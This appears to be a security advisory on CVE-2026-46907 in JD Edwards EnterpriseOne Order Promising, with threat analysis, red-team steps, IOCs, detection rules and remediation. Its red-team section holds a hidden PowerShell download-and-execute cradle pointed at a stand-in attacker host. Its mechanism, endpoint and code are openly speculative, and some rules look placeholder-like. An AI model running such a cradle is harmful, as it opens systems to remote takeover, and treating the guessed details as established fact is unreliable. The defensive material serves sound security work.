CVE-2026-46907

Executive Summary

CVE-2026-46907 is a critical, unpatched vulnerability in Oracle JD Edwards EnterpriseOne Order Promising (version 9.2). With a CVSS score of 9.9, it allows a low-privileged attacker with network access via HTTP to achieve full remote code execution and complete takeover of the Order Promising component. The vulnerability has a scope change, meaning successful exploitation can impact additional products beyond the initial target. Despite a low EPSS score (0.0%), the lack of a patch and the high impact make this a significant threat for organizations using JD Edwards EnterpriseOne. No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward, making it a prime target for advanced persistent threats (APTs) and ransomware groups.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary Oracle JD Edwards EnterpriseOne component. Organizations should treat this as a critical supply chain risk due to the lack of a vendor patch and the potential for lateral movement within the enterprise.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid low-privilege account.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Changed (C) – Exploitation can affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) – Full data disclosure.
• Integrity (I): High (H) – Full data modification.
• Availability (A): High (H) – Full denial of service or system takeover.

Threat Level: Critical. The combination of low attack complexity, low privileges required, and high impact makes this a top-priority vulnerability. The lack of a patch means organizations must rely on compensating controls.

Deep Dive & Mechanics

The vulnerability resides in the Order Promising Integration component of JD Edwards EnterpriseOne (version 9.2). The exact technical mechanism is not publicly disclosed, but based on the CVSS vector and typical JD Edwards architecture, it likely involves:

1. Insecure Deserialization or Input Validation: The Order Promising Integration component processes HTTP requests from authenticated users. A flaw in how it handles serialized objects or user-supplied data could allow an attacker to inject malicious payloads.
2. Privilege Escalation: The attacker starts with low privileges (e.g., a standard user account) and exploits the vulnerability to gain administrative control over the Order Promising service.
3. Lateral Movement: Due to the scope change, the compromised Order Promising component can be used as a pivot point to attack other JD Edwards modules or connected systems (e.g., databases, ERP core).

The attack flow:

• Attacker authenticates with low-privilege credentials.
• Sends a crafted HTTP request to the Order Promising Integration endpoint.
• The request triggers a code execution path that bypasses security controls.
• The attacker gains full control of the Order Promising service.
• From there, they can access sensitive data, modify orders, or move laterally.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, based on similar vulnerabilities in JD Edwards, the vulnerable code likely lacks proper input sanitization or authorization checks.

Vulnerable Code (Hypothetical):

// Vulnerable: Directly processes user input without validation
public void processOrder(String orderData) {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(orderData.getBytes()));
    Order order = (Order) ois.readObject(); // Insecure deserialization
    // Process order...
}

Patched Code (Hypothetical):

// Patched: Validates and sanitizes input, uses whitelist
public void processOrder(String orderData) {
    if (!isValidOrderFormat(orderData)) {
        throw new SecurityException("Invalid order data");
    }
    // Use safe parsing instead of deserialization
    Order order = parseOrderSafely(orderData);
    // Process order...
}

Exploitation & Lab Setup

Red Team

Objective: Achieve remote code execution on JD Edwards EnterpriseOne Order Promising (version 9.2).

Prerequisites:

• Low-privilege credentials for the JD Edwards system.
• Network access to the Order Promising Integration HTTP endpoint (typically port 80/443).
• A lab environment with JD Edwards EnterpriseOne 9.2 installed.

Exploitation Steps (Theoretical, as no public exploit exists):

1. Reconnaissance: Identify the Order Promising Integration endpoint (e.g., /jde/OrderPromisingIntegration).
2. Authentication: Log in with low-privilege credentials.
3. Craft Payload: Create a malicious serialized object or HTTP request that exploits the deserialization flaw.
4. Send Request: Use a tool like curl or a custom script to send the payload.

   curl -X POST https://target/jde/OrderPromisingIntegration \
     -H "Authorization: Bearer <token>" \
     -d @malicious_payload.bin
   

5. Post-Exploitation: Once code execution is achieved, deploy a web shell or reverse shell.

   # Example reverse shell (PowerShell)
   powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')"
   

Note: Since no public exploit exists, this is a theoretical approach. Red teams should develop their own proof-of-concept based on the vulnerability description.

Blue Team

Objective: Detect and prevent exploitation attempts.

Detection Strategy:

• Monitor for unusual HTTP requests to the Order Promising Integration endpoint.
• Look for serialized objects in HTTP POST bodies (e.g., Java serialization headers AC ED 00 05).
• Alert on privilege escalation events within JD Edwards.

Honeypot Setup:

• Deploy a decoy JD Edwards Order Promising service to capture attacker behavior.
• Log all requests and analyze for malicious patterns.

Prevention:

• Implement strict network segmentation to limit access to JD Edwards systems.
• Use a Web Application Firewall (WAF) to block suspicious payloads.
• Enforce multi-factor authentication (MFA) for all JD Edwards accounts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual HTTP POST requests to /jde/OrderPromisingIntegration or similar endpoints.
  • Presence of Java serialization headers (AC ED 00 05) in HTTP traffic.
  • Outbound connections from the JD Edwards server to unknown IP addresses (e.g., for reverse shells).
• Host IOCs:
  • Unexpected processes running on the JD Edwards server (e.g., cmd.exe, powershell.exe, /bin/sh).
  • New user accounts or privilege escalations in JD Edwards logs.
  • Modified or new files in the JD Edwards installation directory (e.g., web shells).
• Log IOCs:
  • Repeated authentication failures followed by a successful login from the same IP.
  • Errors related to deserialization or class loading in JD Edwards logs.

Detection Engineering

YARA Rule

rule CVE_2026_46907_JDEdwards_Deserialization {
    meta:
        description = "Detects Java serialization payloads targeting JD Edwards Order Promising"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-46907"
    strings:
        $java_serial = { AC ED 00 05 }
        $jde_endpoint = "/jde/OrderPromisingIntegration"
        $class_loader = "java.lang.Runtime" nocase
    condition:
        $java_serial and ($jde_endpoint or $class_loader)
}

Sigma Rule

title: CVE-2026-46907 JD Edwards Order Promising Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting JD Edwards Order Promising with potential deserialization payloads
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/jde/OrderPromisingIntegration'
        cs-content-type: 'application/octet-stream'
    condition: selection
falsepositives:
    - Legitimate JD Edwards integration traffic
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-46907 JD Edwards Order Promising Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/jde/OrderPromisingIntegration"; http_uri;
    content:"|AC ED 00 05|"; depth:4;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate JD Edwards Systems: Place JD Edwards EnterpriseOne behind a firewall and restrict network access to only trusted IPs.
2. Disable Unnecessary Services: If Order Promising Integration is not required, disable the component.
3. Apply Virtual Patching: Use a WAF to block requests containing Java serialization headers (AC ED 00 05) to the vulnerable endpoint.
4. Monitor Logs: Enable detailed logging for JD Edwards and review for suspicious activity.

Long-Term Actions:

1. Vendor Patch: Monitor Oracle’s security alerts for a patch. Apply as soon as available.
2. Upgrade: If possible, upgrade to a newer version of JD Edwards EnterpriseOne that is not affected.
3. Least Privilege: Review and reduce user privileges. Ensure only necessary accounts have access to Order Promising.
4. Network Segmentation: Implement strict network segmentation to limit lateral movement.

Workaround: If patching is not possible, consider disabling the Order Promising Integration component entirely or restricting access via IP whitelisting.

Valters IT